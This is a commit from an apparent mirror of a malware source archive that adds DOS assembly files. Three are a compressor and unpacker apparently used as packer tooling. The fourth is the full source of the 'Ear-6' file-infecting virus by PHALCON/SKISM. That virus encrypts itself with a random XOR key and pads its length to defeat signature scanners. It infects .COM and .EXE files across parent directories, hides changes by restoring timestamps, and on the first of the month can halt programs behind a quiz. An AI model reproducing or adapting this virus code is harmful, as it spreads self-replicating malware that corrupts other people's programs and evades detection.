mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,106 @@
|
||||
code segment
|
||||
assume cs:code, ds:code
|
||||
org 100h
|
||||
|
||||
asc2 equ asc + 128
|
||||
|
||||
prog:
|
||||
|
||||
mov ax,cs
|
||||
add ax,1000h
|
||||
mov es,ax
|
||||
mov si,0100h
|
||||
mov di,si
|
||||
mov cx,5000h
|
||||
rep movsb
|
||||
mov word ptr [next+2],es
|
||||
jmp dword ptr [next]
|
||||
|
||||
next db 1dh,1,0,0
|
||||
|
||||
part2:
|
||||
push ds
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov di,offset asc + 128
|
||||
sub bx,bx
|
||||
k10: mov [bx][di],bl
|
||||
inc bl
|
||||
jnz k10
|
||||
mov si,offset asc
|
||||
k20: mov bl,[si]
|
||||
mov byte ptr [bx][di],0
|
||||
inc si
|
||||
cmp si,di
|
||||
jne k20
|
||||
dec di
|
||||
mov cx,128
|
||||
k30: inc di
|
||||
cmp byte ptr [di],0
|
||||
je k30
|
||||
mov al,[di]
|
||||
mov [si],al
|
||||
inc si
|
||||
loop k30
|
||||
|
||||
mov bx,50ffh
|
||||
mov di,bx
|
||||
mov cl,0
|
||||
l10: mov ah,[di]
|
||||
mov al,[di-1]
|
||||
mov si,ax
|
||||
sub ax,ax
|
||||
mov dl,6
|
||||
shl si,cl
|
||||
mov ch,cl
|
||||
mov cl,12
|
||||
shl si,1
|
||||
jnc l20
|
||||
mov al,64
|
||||
dec cx
|
||||
dec cx
|
||||
inc dx
|
||||
inc dx
|
||||
shl si,1
|
||||
jnc l30
|
||||
shl ax,1
|
||||
dec cx
|
||||
inc dx
|
||||
jmp short l30
|
||||
l20: shl si,1
|
||||
jnc l30
|
||||
inc dx
|
||||
mov al,16
|
||||
shl si,1
|
||||
jnc l30
|
||||
shl ax,1
|
||||
dec cx
|
||||
inc dx
|
||||
l30: shr si,cl
|
||||
add si,ax
|
||||
mov al,asc[si]
|
||||
mov es:[bx],al
|
||||
mov cl,dl
|
||||
add cl,ch
|
||||
l40: cmp cl,8
|
||||
jc l50
|
||||
sub cl,8
|
||||
dec di
|
||||
jmp short l40
|
||||
l50: dec bx
|
||||
cmp bx,00ffh
|
||||
jne l10
|
||||
|
||||
mov [next],0
|
||||
mov word ptr [next+2],es
|
||||
jmp dword ptr [next]
|
||||
|
||||
asc db ?
|
||||
|
||||
last label byte
|
||||
code ends
|
||||
end prog
|
||||
|
||||
|
||||
@@ -0,0 +1,254 @@
|
||||
code segment
|
||||
assume cs:code, ds:code, es:code
|
||||
org 100h
|
||||
prog:
|
||||
jmp main
|
||||
|
||||
asc db 256 dup (0)
|
||||
lll dw ?
|
||||
tbl dw 256 dup (0)
|
||||
cod db 256 dup (0)
|
||||
len db 256 dup (0)
|
||||
dat db 0,10,16,9,64,8,64,8,0,7
|
||||
fn1 db 'te.com',0
|
||||
fn2 db 'sup.com',0
|
||||
fn3 db 'e1.com',0
|
||||
|
||||
main:
|
||||
|
||||
call read
|
||||
call build
|
||||
call uha
|
||||
call good
|
||||
call write
|
||||
|
||||
mov al,00h
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
|
||||
good proc near
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov si,offset asc
|
||||
mov di,179
|
||||
mov cx,130
|
||||
rep movsb
|
||||
|
||||
mov dx,offset fn3
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,179
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
ssr: ret
|
||||
good endp
|
||||
|
||||
uha proc near
|
||||
mov ax,cs
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
add ax,1000h
|
||||
mov es,ax
|
||||
mov bx,4fffh
|
||||
mov di,bx
|
||||
mov ch,0
|
||||
sub bp,bp
|
||||
lu10: sub ax,ax
|
||||
mov al,[bx]
|
||||
mov si,ax
|
||||
mov al,cs:cod[si]
|
||||
mov dl,cs:len[si]
|
||||
mov cl,dl
|
||||
cmp dl,7
|
||||
jne lu20
|
||||
inc ah
|
||||
lu20: sub cl,ch
|
||||
shl ax,cl
|
||||
or bp,ax
|
||||
add ch,16
|
||||
sub ch,dl
|
||||
mov cl,8
|
||||
lu30: cmp ch,cl
|
||||
jc lu40
|
||||
mov ax,bp
|
||||
shl bp,cl
|
||||
mov es:[di],ah
|
||||
dec di
|
||||
sub ch,cl
|
||||
jmp short lu30
|
||||
lu40: dec bx
|
||||
cmp bx,0ffffh
|
||||
jne lu10
|
||||
mov ax,bp
|
||||
mov es:[di],ah
|
||||
mov lll,di
|
||||
mov ah,0
|
||||
lu50: dec di
|
||||
mov es:[di],ah
|
||||
cmp di,0
|
||||
jne lu50
|
||||
ret
|
||||
uha endp
|
||||
|
||||
fill proc near
|
||||
sub si,si
|
||||
mov cx,0100h
|
||||
lf10: mov ax,si
|
||||
mov cs:asc[si],al
|
||||
inc si
|
||||
loop lf10
|
||||
sub bx,bx
|
||||
mov cx,5000h
|
||||
lf20: mov al,[bx]
|
||||
mov si,ax
|
||||
shl si,1
|
||||
inc cs:tbl[si]
|
||||
inc bx
|
||||
loop lf20
|
||||
ret
|
||||
fill endp
|
||||
|
||||
pause proc near
|
||||
push ax
|
||||
mov ah,01h
|
||||
int 21h
|
||||
pop ax
|
||||
ret
|
||||
pause endp
|
||||
|
||||
sort proc near
|
||||
mov cx,00ffh
|
||||
l10: mov di,cx
|
||||
mov bx,cx
|
||||
shl bx,1
|
||||
add bx,offset tbl
|
||||
sub ax,ax
|
||||
l20: mov si,ax
|
||||
shl si,1
|
||||
mov dx,tbl[si]
|
||||
cmp dx,[bx]
|
||||
jnc l30
|
||||
xchg dx,[bx]
|
||||
xchg dx,tbl[si]
|
||||
shr si,1
|
||||
mov dl,asc[si]
|
||||
xchg dl,asc[di]
|
||||
xchg dl,asc[si]
|
||||
l30: inc ax
|
||||
cmp ax,cx
|
||||
jc l20
|
||||
loop l10
|
||||
|
||||
mov di,offset asc + 128
|
||||
sub bx,bx
|
||||
k10: mov [bx][di],bl
|
||||
inc bl
|
||||
jnz k10
|
||||
mov si,offset asc
|
||||
k20: mov bl,[si]
|
||||
mov byte ptr [bx][di],0
|
||||
inc si
|
||||
cmp si,di
|
||||
jne k20
|
||||
dec di
|
||||
mov cx,128
|
||||
k30: inc di
|
||||
cmp byte ptr [di],0
|
||||
je k30
|
||||
mov al,[di]
|
||||
mov [si],al
|
||||
inc si
|
||||
loop k30
|
||||
|
||||
|
||||
ret
|
||||
sort endp
|
||||
|
||||
make proc near
|
||||
mov cx,16
|
||||
mov bx,offset dat
|
||||
sub si,si
|
||||
sub ax,ax
|
||||
lm10: mov al,asc[si]
|
||||
mov di,ax
|
||||
mov dx,si
|
||||
add dl,[bx]
|
||||
mov cod[di],dl
|
||||
mov dl,[bx+1]
|
||||
mov len[di],dl
|
||||
inc si
|
||||
cmp si,cx
|
||||
jnz lm10
|
||||
inc bx
|
||||
inc bx
|
||||
shl cx,1
|
||||
cmp cx,512
|
||||
jnz lm10
|
||||
ret
|
||||
make endp
|
||||
|
||||
build proc near
|
||||
call fill
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
call sort
|
||||
call make
|
||||
ret
|
||||
build endp
|
||||
|
||||
write proc near
|
||||
mov dx,offset fn2
|
||||
mov al,02h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sw
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,40h
|
||||
int 21h
|
||||
jc sw
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sw: ret
|
||||
write endp
|
||||
|
||||
read proc near
|
||||
mov dx,offset fn1
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sr
|
||||
mov bx,ax
|
||||
mov ax,ds
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc sr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sr: ret
|
||||
read endp
|
||||
|
||||
|
||||
last label byte
|
||||
code ends
|
||||
end prog
|
||||
|
||||
|
||||
@@ -0,0 +1,290 @@
|
||||
code segment
|
||||
assume cs:code, ds:code, es:code
|
||||
org 100h
|
||||
prog:
|
||||
jmp main
|
||||
|
||||
asc db 256 dup (0)
|
||||
lll dw ?
|
||||
tbl dw 256 dup (0)
|
||||
cod db 256 dup (0)
|
||||
len db 256 dup (0)
|
||||
dat db 0,10,16,9,64,8,64,8,0,7
|
||||
fn1 db 'te.com',0
|
||||
fn2 db 'sup.com',0
|
||||
fn3 db 'e1.com',0
|
||||
fn4 db 'dat.dat',0
|
||||
main:
|
||||
|
||||
call read
|
||||
call build
|
||||
call uha
|
||||
call good
|
||||
call write
|
||||
|
||||
mov al,00h
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
|
||||
good proc near
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov si,offset asc
|
||||
mov di,179
|
||||
mov cx,130
|
||||
rep movsb
|
||||
|
||||
mov dx,offset fn3
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,179
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc ssr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
ssr: ret
|
||||
good endp
|
||||
|
||||
uha proc near
|
||||
mov ax,cs
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
add ax,1000h
|
||||
mov es,ax
|
||||
mov bx,4fffh
|
||||
mov di,bx
|
||||
mov ch,0
|
||||
sub bp,bp
|
||||
lu10: sub ax,ax
|
||||
mov al,[bx]
|
||||
mov si,ax
|
||||
mov al,cs:cod[si]
|
||||
mov dl,cs:len[si]
|
||||
mov cl,dl
|
||||
cmp dl,7
|
||||
jne lu20
|
||||
inc ah
|
||||
lu20: sub cl,ch
|
||||
shl ax,cl
|
||||
or bp,ax
|
||||
add ch,16
|
||||
sub ch,dl
|
||||
mov cl,8
|
||||
lu30: cmp ch,cl
|
||||
jc lu40
|
||||
mov ax,bp
|
||||
shl bp,cl
|
||||
mov es:[di],ah
|
||||
dec di
|
||||
sub ch,cl
|
||||
jmp short lu30
|
||||
lu40: dec bx
|
||||
cmp bx,0ffffh
|
||||
jne lu10
|
||||
mov ax,bp
|
||||
mov es:[di],ah
|
||||
mov lll,di
|
||||
mov ah,0
|
||||
lu50: dec di
|
||||
mov es:[di],ah
|
||||
cmp di,0
|
||||
jne lu50
|
||||
ret
|
||||
uha endp
|
||||
|
||||
fill proc near
|
||||
sub si,si
|
||||
mov cx,0100h
|
||||
lf10: mov ax,si
|
||||
mov cs:asc[si],al
|
||||
inc si
|
||||
loop lf10
|
||||
sub bx,bx
|
||||
mov cx,5000h
|
||||
lf20: mov al,[bx]
|
||||
mov si,ax
|
||||
shl si,1
|
||||
inc cs:tbl[si]
|
||||
inc bx
|
||||
loop lf20
|
||||
ret
|
||||
fill endp
|
||||
|
||||
swap proc near
|
||||
push ax
|
||||
mov ax,tbl[si]
|
||||
xchg ax,tbl[di]
|
||||
mov tbl[si],ax
|
||||
shr si,1
|
||||
shr di,1
|
||||
mov al,asc[si]
|
||||
xchg al,asc[di]
|
||||
mov asc[si],al
|
||||
shl si,1
|
||||
shl di,1
|
||||
pop ax
|
||||
ret
|
||||
swap endp
|
||||
|
||||
sort proc near
|
||||
|
||||
mov bp,32
|
||||
mov cl,1
|
||||
ss00: sub ax,ax
|
||||
mov dx,510
|
||||
ss05: mov di,ax
|
||||
mov bx,tbl[di]
|
||||
mov si,di
|
||||
ss10: cmp si,dx
|
||||
je ss20
|
||||
inc si
|
||||
inc si
|
||||
cmp bx,tbl[si]
|
||||
jnc ss10
|
||||
inc di
|
||||
inc di
|
||||
call swap
|
||||
jmp short ss10
|
||||
ss20: mov si,ax
|
||||
call swap
|
||||
cmp di,bp
|
||||
je ss40
|
||||
jc ss30
|
||||
mov dx,di
|
||||
dec dx
|
||||
dec dx
|
||||
jmp short ss05
|
||||
ss30: mov ax,di
|
||||
inc ax
|
||||
inc ax
|
||||
jmp short ss05
|
||||
ss40: shl bp,cl
|
||||
shl cl,1
|
||||
cmp cl,8
|
||||
jne ss00
|
||||
|
||||
; call writ
|
||||
|
||||
mov di,offset asc + 128
|
||||
sub bx,bx
|
||||
k10: mov [bx][di],bl
|
||||
inc bl
|
||||
jnz k10
|
||||
mov si,offset asc
|
||||
k20: mov bl,[si]
|
||||
mov byte ptr [bx][di],0
|
||||
inc si
|
||||
cmp si,di
|
||||
jne k20
|
||||
dec di
|
||||
mov cx,128
|
||||
k30: inc di
|
||||
cmp byte ptr [di],0
|
||||
je k30
|
||||
mov al,[di]
|
||||
mov [si],al
|
||||
inc si
|
||||
loop k30
|
||||
ret
|
||||
sort endp
|
||||
|
||||
make proc near
|
||||
mov cx,16
|
||||
mov bx,offset dat
|
||||
sub si,si
|
||||
sub ax,ax
|
||||
lm10: mov al,asc[si]
|
||||
mov di,ax
|
||||
mov dx,si
|
||||
add dl,[bx]
|
||||
mov cod[di],dl
|
||||
mov dl,[bx+1]
|
||||
mov len[di],dl
|
||||
inc si
|
||||
cmp si,cx
|
||||
jnz lm10
|
||||
inc bx
|
||||
inc bx
|
||||
shl cx,1
|
||||
cmp cx,512
|
||||
jnz lm10
|
||||
ret
|
||||
make endp
|
||||
|
||||
build proc near
|
||||
call fill
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
call sort
|
||||
call make
|
||||
ret
|
||||
build endp
|
||||
|
||||
write proc near
|
||||
mov dx,offset fn2
|
||||
mov al,02h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sw
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,40h
|
||||
int 21h
|
||||
jc sw
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sw: ret
|
||||
write endp
|
||||
|
||||
read proc near
|
||||
mov dx,offset fn1
|
||||
mov al,00h
|
||||
mov ah,3dh
|
||||
int 21h
|
||||
jc sr
|
||||
mov bx,ax
|
||||
mov ax,ds
|
||||
add ax,1000h
|
||||
mov ds,ax
|
||||
sub dx,dx
|
||||
mov cx,5000h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc sr
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
sr: ret
|
||||
read endp
|
||||
|
||||
writ proc near
|
||||
mov dx,offset fn4
|
||||
sub cx,cx
|
||||
mov ah,3ch
|
||||
int 21h
|
||||
mov bx,ax
|
||||
mov dx,offset tbl
|
||||
mov cx,512
|
||||
mov ah,40h
|
||||
int 21h
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
ret
|
||||
writ endp
|
||||
|
||||
last label byte
|
||||
code ends
|
||||
end prog
|
||||
|
||||
|
||||
@@ -0,0 +1,447 @@
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
longitud_del_virus = TerminaVir - EmpezarVir
|
||||
longitud_del_escribir = offset termina - offset escribir
|
||||
|
||||
id = 'GH' ; Representa el l¡der de
|
||||
; PHALCON/SKISM, Garbageheap
|
||||
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
|
||||
|
||||
EmpezarVir:
|
||||
shwing:
|
||||
remendar1:
|
||||
mov bx, offset EmpezarCifra
|
||||
remendar2:
|
||||
mov cx, ((longitud_del_virus + 1) / 2)
|
||||
hacia_atras: ; atr s
|
||||
db 2eh
|
||||
remendar3:
|
||||
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
|
||||
add bx, 2
|
||||
loop hacia_atras
|
||||
EmpezarCifra:
|
||||
|
||||
call siguiente ; Es estupido, pero es corto
|
||||
siguiente:
|
||||
pop bp
|
||||
sub bp, offset siguiente
|
||||
|
||||
mov byte ptr [bp+numinf], 0
|
||||
|
||||
cld ; No es necessario, pero
|
||||
; ¨por qu‚ no?
|
||||
cmp sp, id
|
||||
jz SoyEXE
|
||||
SoyCOM: mov di, 100h
|
||||
push di
|
||||
lea si, [bp+Primer3]
|
||||
movsb
|
||||
jmp short SoyNada
|
||||
SoyEXE: push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
|
||||
lea si, [bp+EXE_Donde_JMP2] ; infectada
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
|
||||
jmp short SoyNada
|
||||
|
||||
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl‚s, por supuesto!
|
||||
NombreDelAutor db 'Dark Angel',0
|
||||
|
||||
SoyNada:
|
||||
movsw
|
||||
|
||||
mov ah, 1ah ; Esindicece un DTA nuevo
|
||||
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
|
||||
int 21h ; el DTA original
|
||||
|
||||
mov ax, word ptr [bp+remendar1+1]
|
||||
mov word ptr [bp+tempo], ax
|
||||
|
||||
mov ah, 47h ; Obtiene el directorio
|
||||
xor dl, dl ; presente
|
||||
lea si, [bp+diroriginal]
|
||||
int 21h
|
||||
|
||||
looper:
|
||||
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
|
||||
call infectar_mascara ; pero no es possible usar
|
||||
; acentos en MASM/TASM.
|
||||
; Qu‚ l stima!
|
||||
; mascara1 es '*.EXE',0
|
||||
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
|
||||
call infectar_mascara ; infecta las fichas de COM
|
||||
|
||||
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
|
||||
jg saltar ; Si es verdad, no necesita
|
||||
; busca m s fichas.
|
||||
mov ah, 3bh ; Cambia el directorio al
|
||||
lea dx, [bp+puntos] ; directorio anterior
|
||||
int 21h ; ('..', 'punto punto')
|
||||
jnc looper
|
||||
|
||||
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
|
||||
mov ah, 3bh ; directorio terminado.
|
||||
int 21h
|
||||
|
||||
mov ah, 2ah ; Activa el primer de
|
||||
int 21h ; cada mes
|
||||
cmp dl, 1 ; Si no es el primer,
|
||||
jnz saltarahora ; saltar ahora! (duh-o)
|
||||
|
||||
mov ah, 2ch ; ¨Qu‚ hora es?
|
||||
int 21h
|
||||
|
||||
cmp dl, 85 ; 85% probabilidad de
|
||||
jg saltarahora ; activaci¢n
|
||||
|
||||
and dx, 7 ; Un n£mero quasi-azado
|
||||
shl dl, 1 ; Usalo para determinar
|
||||
mov bx, bp ; que preguntar la virus
|
||||
add bx, dx
|
||||
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
|
||||
add dx, bp
|
||||
inc dx
|
||||
push dx ; Salva el codo al pregunta
|
||||
|
||||
mov ah, 9 ; Escriba el primer parte de
|
||||
lea dx, [bp+mensaje] ; la pregunta
|
||||
int 21h
|
||||
|
||||
pop dx ; Escriba el parte de la oreja
|
||||
int 21h ; o el o¡do
|
||||
dec dx
|
||||
push dx ; Salva la respuesta correcta
|
||||
|
||||
lea dx, [bp+secciones] ; Escriba los secciones de la
|
||||
int 21h ; oreja y el o¡do
|
||||
|
||||
trataotrarespuesta:
|
||||
mov ah, 7 ; Obtiene la respuesta de la
|
||||
int 21h ; "v¡ctima"
|
||||
cmp al, '1' ; Necesita una respuesta de
|
||||
jl trataotrarespuesta ; uno hasta tres
|
||||
cmp al, '3' ; Renuncia otras respuestas
|
||||
jg trataotrarespuesta
|
||||
|
||||
int 29h ; Escriba la respuesta
|
||||
|
||||
pop bx ; El codo al respuesta
|
||||
; correcta
|
||||
mov ah, 9 ; Prepara a escribir un
|
||||
; mensaje
|
||||
cmp al, byte ptr [bx] ; ¨Es correcta?
|
||||
jz saltarapidamente ; �l aprueba el examencito.
|
||||
; Pues, salta r pidamente.
|
||||
lea dx, [bp+suspendido] ; Lo siento, pero Ud. no
|
||||
int 21h ; aprueba el examencito f cil!
|
||||
|
||||
mov ah, 4ch ; Estudie m s y el programa
|
||||
jmp quite ; permitir a Ud a continuar.
|
||||
|
||||
saltarapidamente:
|
||||
lea dx, [bp+aprueba]
|
||||
int 21h
|
||||
saltarahora:
|
||||
mov ah, 1ah ; Restaura el DTA original
|
||||
mov dx, 80h
|
||||
quite:
|
||||
cmp sp, id - 4 ; ¨Es EXE o COM?
|
||||
jz vuelvaEXE
|
||||
vuelvaCOM:
|
||||
int 21h ; Restaura el DTA y vuelva
|
||||
retn ; a la ficha original de COM
|
||||
|
||||
vuelvaEXE:
|
||||
pop es
|
||||
pop ds ; ds -> PSP
|
||||
|
||||
int 21h
|
||||
|
||||
mov ax, es
|
||||
add ax, 10h ; Ajusta para el PSP
|
||||
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
|
||||
cli
|
||||
add ax, word ptr cs:[bp+PilaOriginal+2]
|
||||
mov ss, ax
|
||||
mov sp, word ptr cs:[bp+PilaOriginal]
|
||||
sti
|
||||
db 0eah ; JMP FAR PTR SEG:OFF
|
||||
EXE_Donde_JMP dd 0
|
||||
PilaOriginal dd 0
|
||||
|
||||
EXE_Donde_JMP2 dd 0
|
||||
PilaOriginal2 dd 0
|
||||
|
||||
infectar_mascara:
|
||||
mov ah, 4eh ; Busca la ficha primera
|
||||
mov cx, 7 ; Cada atributo
|
||||
brb_brb:
|
||||
int 21h
|
||||
jc hasta_la_vista_bebe ; No la busca
|
||||
|
||||
xor al, al
|
||||
call abrir ; Abre la ficha
|
||||
|
||||
mov ah, 3fh
|
||||
mov cx, 1ah
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ; Cierra la ficha
|
||||
int 21h
|
||||
|
||||
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
|
||||
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
|
||||
mov cx, 9 ; creaci¢n
|
||||
rep movsb
|
||||
|
||||
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
|
||||
jz buscaEXE
|
||||
buscaCOM:
|
||||
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
|
||||
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
|
||||
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
|
||||
jnz infecta_mi_burro ; "infect my ass"
|
||||
jmp short BuscaMas
|
||||
buscaEXE:
|
||||
cmp word ptr [bp+buffer+10h], id
|
||||
jnz infecta_mi_burro
|
||||
BuscaMas:
|
||||
mov ah, 4fh ; Busca otra ficha...
|
||||
jmp short brb_brb
|
||||
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
|
||||
ret
|
||||
|
||||
infecta_mi_burro:
|
||||
; AX = longitud de la ficha infectada
|
||||
lea si, [bp+buffer]
|
||||
|
||||
cmp word ptr [si], 'ZM'
|
||||
jz InfectaEXE
|
||||
InfectaCOM:
|
||||
push ax
|
||||
|
||||
mov cx, word ptr [bp+tempo]
|
||||
mov word ptr [bp+remendar1+1], cx
|
||||
|
||||
lea di, [bp+Primer3]
|
||||
movsb
|
||||
push si
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+buffer], 0e9h
|
||||
pop di
|
||||
add ax, longitud_del_virus
|
||||
stosw
|
||||
|
||||
mov cx, 3
|
||||
jmp short TerminaInfeccion
|
||||
InfectaEXE:
|
||||
les ax, [si+14h] ; Salva el original empieza
|
||||
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
|
||||
mov word ptr [bp+EXE_Donde_JMP2+2], es
|
||||
|
||||
les ax, [si+0Eh] ; Salva la original locaci¢n
|
||||
mov word ptr [bp+PilaOriginal2], es ; de la pila
|
||||
mov word ptr [bp+PilaOriginal2+2], ax
|
||||
|
||||
mov ax, word ptr [si + 8]
|
||||
mov cl, 4
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset nuevoDTA+26]
|
||||
mov dx, es
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx
|
||||
sbb dx, 0
|
||||
|
||||
mov cx, 10h
|
||||
div cx
|
||||
|
||||
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
|
||||
mov word ptr [si+16h], ax
|
||||
|
||||
mov cl, 4
|
||||
shr dx, cl
|
||||
add ax, dx
|
||||
mov word ptr [si+0Eh], ax ; y SS:SP
|
||||
mov word ptr [si+10h], id
|
||||
|
||||
pop dx ; Restaura el magnitud de
|
||||
pop ax ; la ficha
|
||||
|
||||
add ax, longitud_del_virus ; A¤ada el magnitud del virus
|
||||
adc dx, 0
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1
|
||||
|
||||
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
|
||||
mov word ptr [si+2], ax
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax, word ptr [si+14h]
|
||||
sub ax, longitud_del_virus + offset Empezarvir
|
||||
push ax
|
||||
|
||||
mov cx, 1ah
|
||||
TerminaInfeccion:
|
||||
mov al, 2
|
||||
call abrir
|
||||
|
||||
mov ah, 40h
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah, 2ch ; N£meros azados en CX y DX
|
||||
int 21h
|
||||
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
|
||||
; cifra
|
||||
and cx, 31 ; Pone un n£mero azado para el
|
||||
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
|
||||
; eso, los scanners necesitan
|
||||
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
|
||||
lea di, [bp+tempstore]
|
||||
mov al, 53h ; push bx
|
||||
stosb ; (no destruir el mango de la
|
||||
; ficha)
|
||||
lea si, [bp+shwing] ; Copia las instrucciones
|
||||
push si ; para formar la cifra
|
||||
mov cx, longitud_de_la_cifra
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
mov al, 5bh ; pop bx
|
||||
stosb ; (recuerda mango de la ficha)
|
||||
|
||||
lea si, [bp+escribir] ; Copia las instrucciones
|
||||
mov cx, longitud_del_escribir ; para a¤ada el virus a la
|
||||
rep movsb ; ficha
|
||||
|
||||
mov al, 53h ; push bx
|
||||
stosb
|
||||
|
||||
pop cx ; Copia las instrucciones
|
||||
pop si ; para invalidar la cifra
|
||||
rep movsb
|
||||
mov ax, 0c35bh ; pop bx, retn
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
|
||||
; Codo del comienzo de la cifra
|
||||
add ax, offset EmpezarCifra + longitud_del_virus
|
||||
mov word ptr [bp+remendar1+1], ax
|
||||
|
||||
call antes_del_tempstore
|
||||
|
||||
mov ax, 5701h ; BX = mango de la ficha
|
||||
mov dx, word ptr [bp+f_fecha]
|
||||
mov cx, word ptr [bp+f_hora]
|
||||
int 21h ; Restaura fecha y hora
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
xor ch, ch
|
||||
mov cl, byte ptr [bp+f_atrib]
|
||||
mov ax, 4301h
|
||||
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
||||
int 21h
|
||||
|
||||
inc byte ptr [bp+numinf]
|
||||
|
||||
jmp BuscaMas
|
||||
|
||||
Primer3 db 0CDh, 20h, 0
|
||||
puntos db '..',0
|
||||
mascara1 db '*.EXE',0
|
||||
mascara2 db '*.COM',0
|
||||
|
||||
abrir: mov ah, 3dh ; Abrir un ficha
|
||||
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
||||
int 21h ; el DTA
|
||||
xchg ax, bx
|
||||
ret
|
||||
|
||||
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
||||
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
||||
oreja1 db '1','Auditory Canal$'
|
||||
oreja2 db '1','Lobe$'
|
||||
oreja3 db '2','Anvil$'
|
||||
oreja4 db '2','Eustachian Tube$'
|
||||
oreja5 db '3','Auditory Nerve$'
|
||||
oreja6 db '3','Cochlea$'
|
||||
|
||||
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
||||
secciones db ' located?',13,10
|
||||
db ' 1. External Ear',13,10
|
||||
db ' 2. Middle Ear',13,10
|
||||
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
||||
|
||||
; No es bueno.
|
||||
suspendido db 13,10,'You obviously know nothing about ears.'
|
||||
db 13,10,'Try again after some study.',13,10,'$'
|
||||
|
||||
; Espero que s¡!
|
||||
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
||||
db '$'
|
||||
|
||||
escribir:
|
||||
mov ah, 40h
|
||||
mov cx, TerminaVir - EmpezarVir
|
||||
lea dx, [bp+EmpezarVir]
|
||||
int 21h
|
||||
|
||||
termina:
|
||||
|
||||
backslash db '\'
|
||||
|
||||
TerminaVir = $
|
||||
|
||||
